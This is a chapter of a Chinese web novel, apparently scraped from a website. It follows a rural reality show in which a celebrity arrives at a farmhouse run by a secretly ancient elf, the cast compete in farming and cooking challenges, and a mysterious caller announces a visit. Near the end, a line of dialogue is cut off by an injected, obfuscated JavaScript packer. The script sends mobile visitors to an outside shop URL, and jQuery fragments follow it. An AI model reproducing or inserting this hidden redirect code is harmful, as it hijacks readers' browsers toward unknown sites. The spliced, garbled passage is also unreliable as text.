车是十一点到的。
两束车灯从山道上扫过来，晃得院门口的大黄"嗷"一声钻到陆清槐腿后面。橘座蹲在墙头上，瞳孔缩成两条竖线。
车门开了。
先下来一只粉色行李箱——不，是三只，一只比一只大，最后那只轮子卡在石头缝里，被人生生拽了出来。然后人才探出头：齐肩短发，卫衣帽子扣在头上，口罩黑框眼镜，只露出一双眼睛扫了一圈院子。
"这就是蘑菇屋？"
监视器后面传来苏晚的声音："我们节目叫《山间的日子》。"
"啊对，"那人摘下口罩，露出一张素脸，巴掌大，笑起来两颗虎牙，"我太紧张了，在车上彩排了一路开场白。"
方驰揉着眼睛从屋里出来，看见她愣了两秒："温以宁？"
"方驰！"女生手一指，"你前年欠我的那顿火锅什么时候还？"
"我什么时候欠你——"
"录《星运会》射箭赢了我，说请我吃火锅，然后你经纪人把你拽走了！"
方驰张了张嘴，记忆在回笼。"那是节目效果——"
"我不管，我记了两年。"
周建国披着外套出来，沈眉端着杯水站在门口。宋可靠在门框上抱胳膊笑："你们认识？"
"比过赛，"方驰一脸生无可恋，"她射箭脱靶射中摄像机，赖我站旁边影响她。"
"你在我旁边喊'中了中了'！我以为中了！"
"我那是加油——"
陆清槐站在台阶上，看着两个人在深夜的院门口吵起了两年前的旧账。大黄从他腿后面探出头，橘座从墙头跳下来绕着粉色行李箱闻了一圈，打了个喷嚏。
"先让人家进来。"沈眉开口。
温以宁这才注意到站在台阶上的陆清槐。
她抬头。
他低头。
月光从槐树叶子里漏下来，落在他脸上。
安静了两秒。
"……导演，"温以宁转头，声音压得很低但所有人都听见了，"你们节目素人颜值都这个水准吗？"
小赵没忍住"噗"了一声。
"陆清槐，房东，"方驰介绍，语气里带着一种"等着被震吧"的得意，"会种菜会做饭会弹吉他会射箭——"
"你报菜名呢？"温以宁瞥他一眼，冲陆清槐伸出手，"你好，我是温以宁，特别能吃。"
陆清槐看了一眼她伸出的手，又看了一眼身后三只箱子。
"箱子里是什么？"
"零食。"
"三箱？"
"经纪人只让带三箱，这算少的。"
他点头，伸手帮她把卡在石缝里的那只拎起来。箱子比想的沉，他晃了一下。
"这里面？"
"自热火锅，二十盒。"
"……"
大家本来都准备睡了。但温以宁说她高铁上只吃了一桶泡面——"那个盒饭四十五，肉三片"——沈眉心软，去灶屋热了下午剩的番茄炒蛋和馒头。
她坐在石磨旁，一口菜一口馒头，吃到第二盘时宋可忍不住了："你电话里不是说减肥吗？"
"少油少盐是明天的事，"温以宁嘴里塞着馒头，"今天的我已经很辛苦了。"
"你辛苦什么了？"
"六小时高铁加两小时山路，"她理直气壮，"弯道我吐了两回。"
方驰在旁边幸灾乐祸："你也有今天。"
"你闭嘴，火锅还没还。"
陆清槐站在灶屋门口看她吃完第三盘，忽然问："佛跳墙，真想吃还是说着玩的？"
温以宁放下筷子，表情难得有点不好意思："那个……我队友跟我打赌，说我要是敢在电话里点佛跳墙，她们这个月叫我爸爸。"
"所以你是为了当爸爸。"
"……你总结得好精准。"
她认真地看着他："但番茄炒蛋是真好吃。比公司食堂好吃一百倍。你放了什么？"
"什么都没放。"
"不可能——"
"番茄地里的，鸡蛋王婶家的，"宋可替他答，"他就这套回答，别问了，问就是'菜好'。"
温以宁看着陆清槐，缓缓竖起大拇指。
"高手。"
第二天早上七点，黑板变了。
陆清槐是被外面的哀嚎吵醒的。方驰的声音大到把橘座从枕头边弹了起来。
他穿衣服出门，看见黑板上贴了张红纸，苏晚的字：
【今日任务：食材争夺战】
上午完成三项农活挑战，第一名优先选择午餐食材。
最后一名洗碗，洗一周。
——节目组
方驰蹲在黑板前双手抱头："洗碗一周？我上次碎了三个盘子，苏晚说再碰就扣劳务费——"
"那就别当最后一名。"江苓端着牙杯路过。
"怎么可能不是我？！"
陶陶凑过来念："第一项，摘菜比赛，十分钟，按净重排名，踩菜苗扣重，摘没熟的扣重……第二项，生火挑战，土灶十五分钟内烧开水……第三项……"
她顿了一下。
"第三项是什么？"方驰抬头。
"烹饪环节，自选食材做一道菜，由房东评分。"
六个人的目光齐刷刷转向陆清槐。
他正蹲在菜地边看番茄，感觉到视线，抬头："看我干什么？"
"你是评委。"宋可笑。
"我不当。"
"苏导写了，你不当就没你那份肉。"方驰指了指黑板角落一行小字。
他看过去。
小字："评委（陆清槐）参与评分即可获得五花肉两斤。"
他站起来拍了拍手上的土。
"评委坐哪？"
全院子笑。温以宁刚揉着眼睛出客房，听见这句差点被台阶绊倒。
第一项：摘菜。
规则：每人一个竹筐，十分钟，指定区域内摘菜，不能踩苗，不能摘生的，违规扣重。
小赵举秒表："各就位——开始！"
六个人进了菜地。
周建国不紧不慢，一看就是干过活的，专挑成熟的黄瓜番茄，手稳准狠。沈眉速度不快但利落，一根黄瓜从藤上下来两秒。陶陶认真得脸通红，蹲在地上挨个看，质量最高。
江苓换了雨靴但弯腰明显不情愿，摘根黄瓜先找虫——"这有虫眼！这也有！你们菜怎么不打农药——"
方驰走另一个极端：什么都往筐里塞，青番茄、小黄瓜、带泥的半根萝卜——"别挑了来不及了！"
温以宁最夸张。
她一进菜地像开了倍速，两只手同时开工，左边拽黄瓜右边扯番茄，快出残影。问题是不分生熟，也不管是菜还是草，所过之处一片狼藉，跟蝗虫过境似的。
"温以宁！"陆清槐站在田埂上，声音第一次提高，"那个没熟！"
"哪个？"
"你手里那个——青的！"
"青的不是青椒吗？"
"那是番茄！"
"啊？"她低头看手里那颗青绿色果子，"番茄不是红的吗？"
"红的是熟了的！你见过番茄长出来就是红的？"
温以宁沉默两秒，把青番茄默默放回藤上。
十秒后方驰惨叫："温以宁你踩我筐了！！"
"对不起对不起——"她一后退，脚后跟踩进方驰筐里，半筐黄瓜滚了一地。
小赵在监视器后面笑得直拍桌子。
时间到。
称重：周建国第一，沈眉第二，陶陶第三，江苓第四，温以宁第五，方驰第六。
方驰不服："她踩了我的筐！黄瓜至少少两斤！"
"你筐里一半是草和石头，"小赵翻记录，"扣完重，方驰净重一斤三两。"
"不可能！"
"其中半根萝卜是你拔断的，泥没甩干净，泥占了四两。"
方驰又蹲回了地上，姿势跟早上一模一样。
温以宁安慰他："别难过，我也没好到哪去——"
"你摘了三斤青番茄和一筐草！"
"但我速度快啊！"
陆清槐蹲在她那筐"战利品"旁边，看着青番茄、杂草和两根被连根拔起的小白菜，沉默很久。
"你昨天不是说阳台种番茄要授粉吗？"他抬头看宋可。
"嗯。"
"她去阳台种，花盆都得死。"
宋可笑到蹲地上。温以宁捂脸："我以后再也不吹自己是农村综艺担当了。"
"你什么时候吹过？"方驰抬头。
"经纪人给我买的热搜。"
第二项：生火。
方驰有信心——他在这个灶前生过不下二十回火，虽然成功次数屈指可数，但经验丰富。
"看好了，"他蹲下来把柴火架成三角形，"引火用细的，先点纸——"
火柴划着，伸进灶膛。火苗舔了一下纸，灭了。
"风大。"他面无表情。
第二根。纸烧着了，引燃细树枝，方驰小心加柴——火起来了！
"看到没！"他得意抬头。
一抬头，吹了口气。
火灭了。
院子安静了三秒。
温以宁笑得直拍大腿："你是来灭火的吗？！"
"你来！"方驰让开。
温以宁蹲下来架势十足，把柴火全掏出来重架——架得太紧，密不透风。火柴点了五根，纸烧光了，柴火连黑都没黑。
"你这架得跟砌墙似的，"周建国看了两分钟看不下去了，"火要空心，人要忠心。柴之间得留缝，氧气进不去烧什么？"
他走过来三两下重架，中间空出一个拳头大的洞，塞一把干草，火柴一落——"轰"地火苗稳稳起来。
"学着点。"周建国拍手。
水开时苏晚看计时："周老师四分二十秒。方驰、温以宁，你们俩加起来二十三分钟，火灭了四回。"
"我那是策略，"方驰嘴硬，"在测试不同柴火排列的燃烧效率。"
"测出来什么？"
"……吹口气火会灭。"
第三项：烹饪。
用前两轮的食材做一道菜，陆清槐评分。第一优先选肉——五花肉、排骨、鸡块三选一。
周建国凉拌黄瓜，刀工扎实。沈眉番茄蛋汤，清爽。陶陶清炒小白菜，盐多了一点但不影响。江苓做了盘水果沙拉。
"这算菜吗？"
"我只会这个。"
温以宁端出一盘看不出是什么的东西。青番茄切片打了俩鸡蛋搅一起炒，颜色发黑，盘边还有焦痕。
"青番茄炒蛋，"她一脸期待，"尝尝？"
陆清槐看了一眼菜，又看了一眼她。
"青番茄有龙葵素，没熟的吃了会恶心呕吐。"
温以宁脸瞬间白了："我刚才拌的时候尝了一口——"
"多少？"
"一小片……"
"那没事，顶多拉半天。"
温以宁蹲地上双手抱头。方驰在旁边幸灾乐祸，被宋可弹了个脑瓜崩。
最后轮到方驰。他端着盘子走过来，表情庄重得像颁奖。
"这是什么？"陆清槐看着盘子里一坨黄褐色糊状物。
"鸡蛋羹。"
"鸡蛋羹不是这个颜色。"
"我放了酱油。"
"鸡蛋羹不放酱油。"
"还放了香油。"
"……"
他拿勺子舀了一口，嚼了两下。
全场屏息。
"怎么样？"方驰声音都变了。
陆清槐放下勺子，喝了口水，看着他。
"你以后离灶台远点。"
全院子笑到崩溃。温以宁蹲地上起不来，陶陶扶着槐树咳嗽，江苓笑出眼泪。小赵在监视器后面已经笑不出声，只剩肩膀抖。
最终：沈眉第一选排骨，周建国第二选五花肉，陶陶第三选鸡块。方驰和温以宁并列倒数第一，共享洗碗一周。
"我不服
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916298|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，"方驰蹲在灶屋门口，面前堆了十二个人的碗，"她那盘菜有毒，该取消资格。"
"但评委没倒，"温以宁在旁边有气无力地洗碗，"说明你的蛋羹比青番茄可怕。"
"你那是化学武器！"
"你那是生化危机！"
陆清槐从灶屋路过，看了眼拌嘴的两人和堆成山的碗。
"洗洁精在第三个柜子。"
"知道了——"两人异口同声，然后同时瞪对方。
下午，黑板换了一行字：
【下午自由活动。明天初五，早起赶集。】
"赶集？"温以宁眼睛亮了。
"逢五逢十镇上集市，"宋可解释，"清槐每隔几天去卖菜。"
"我也去！"
"你去干嘛？"方驰问。
"吃啊！煎饼果子烤肠炸串——"
"你不是刚吃完午饭？"
"午饭两小时前的事了。"
陆清槐正给番茄绑蔓，听见"赶集"手上顿了一下。他直起腰看了看天。
"明天初五。"
"对啊，"陶陶说，"清槐哥哥你每次都去嘛。"
"嗯。"
他低头看了看自己的手，指甲缝里还有泥，指尖被番茄汁染绿。
"这次人多。"
"什么？"
"以前我一个人卖，二十分钟卖完。明天——"他想了想，"可能不够卖。"
陶陶眨了眨眼，兴奋起来："那我们多种点！"
"菜一天长不出来。"
"那怎么办？"
"早点起，多摘点。"他说，"还有——方驰别摘。"
"我听见了！！"
傍晚，温以宁贡献了三盒自热火锅。
院子里摆了六个自热包，白烟咕嘟咕嘟冒。她又从箱子里掏出一袋鸭脖、两包薯片、一盒巧克力、半包牛肉干——"真的只带了三箱，这些十分之一。"
沈眉看着那堆零食表情复杂："你经纪人知道？"
"知道啊，"温以宁撕鸭脖，"她说只要不被拍到吃冰淇淋，其他随便。"
"为什么冰淇淋不行？"
"上次被拍到吃冰淇淋，热搜挂一天，话题#温以宁又偷吃#，粉丝在我微博底下刷了三千条'姐姐你看看你的腹肌'。"
"你有腹肌？"方驰凑过来。
温以宁撩起卫衣一角——还真有，四块轮廓分明。
"看到没？吃出来的。"
"吃能吃出腹肌？"
"我每天跳舞四小时，不吃哪来的力气。"
宋可在旁边点头："她们团主舞，体力消耗大。"
陆清槐蹲在旁边看自热火锅冒白烟，伸手想碰盒子，被沈眉拍手背："烫。"
他缩回手继续蹲。
"这个为什么自己会热？"
"石灰，"温以宁嘴里塞着鸭脖，"加水就发热。"
"石灰遇水确实放热。"他盯着盒子，"但你们拿这个煮东西？"
"方便啊，十五分钟。"
他沉默两秒，站起来往灶屋走。
"干嘛去？"
"烧壶水。"
"你不是不喝热水吗？"
"泡个面。"
院子安静了一秒。温以宁第一个反应过来："你也吃泡面？！"
"陈伯柜子里有两包，"他头也不回，"我看了很久了。"
那天晚上，灶屋门口蹲着两个人。一个是八百岁的精灵，一个是二十四岁的女团主舞，中间放着一桶红烧牛肉面，两个人一起盯着秒表等三分钟。
"其实泡两分钟也能吃，"温以宁以资深人士的口吻说，"面更筋道。"
"包装上说三分钟。"
"包装是给普通人看的。"
"……你赢了。"
方驰远远地蹲在洗碗堆旁边，嘴里含着半根鸭脖，看着那两个人的背影，忽然觉得自己好像被排除在了什么圈子之外。
宋可靠在门框上，掏出手机拍了一张。她想了想，没发朋友圈，但把照片发给了经纪人，附了一行字：
"这节目要爆。"
夜深了。
陆清槐躺在床上，橘座团在旁边。窗外虫鸣，远处溪水。
他翻了个身。
脑子里全是石灰遇水放热。八百年了，精灵王庭没有这种东西。人类在"吃"这件事上，有一种不讲道理的创造力。
明天早起赶集。菜要提前摘，筐要准备，现金够不够找零——
还有，泡面的味道，确实还不错。
他刚要睡着，院门口传来"叮铃铃"的声音。
座机。
他睁开眼。橘座已经抬起了头。
屋子里其他人都睡熟了。他披衣出门，月光把院子照得发白。红色座机在黑板旁边，响一声停一下，像在催命。
他拿起听筒。
"喂？"
对面安静了一秒，然后是个男声，低，带着点笑意。
"我要点菜。"
陆清槐靠在黑板上，打了个哈欠。
"点什么。"
"满汉全席。"
他看了一眼灶屋的方向，又看了一眼菜地。
"没有。"
"那有什么？"
"白菜萝卜番茄黄瓜鸡蛋。"
对面笑了一声。
"行，那你随便做。我不挑。"
"你哪位？"
"明天到了你们就知道了。"
电话挂了。
陆清槐拿着听筒站了两秒，挂回去。月光下他低头看了一眼那部红色的转盘电话，转盘在夜风里轻轻晃了一下。
他转身回屋。
经过黑板时，他顺手把"明天初五，早起赶集"那行字下面，用粉笔添了两个字：
"有客。 "
墙头上，橘座蹲着，尾巴一甩一甩，盯着山道的方向。
这回路灯光没有亮。
但远处有鸡叫了。天快亮了。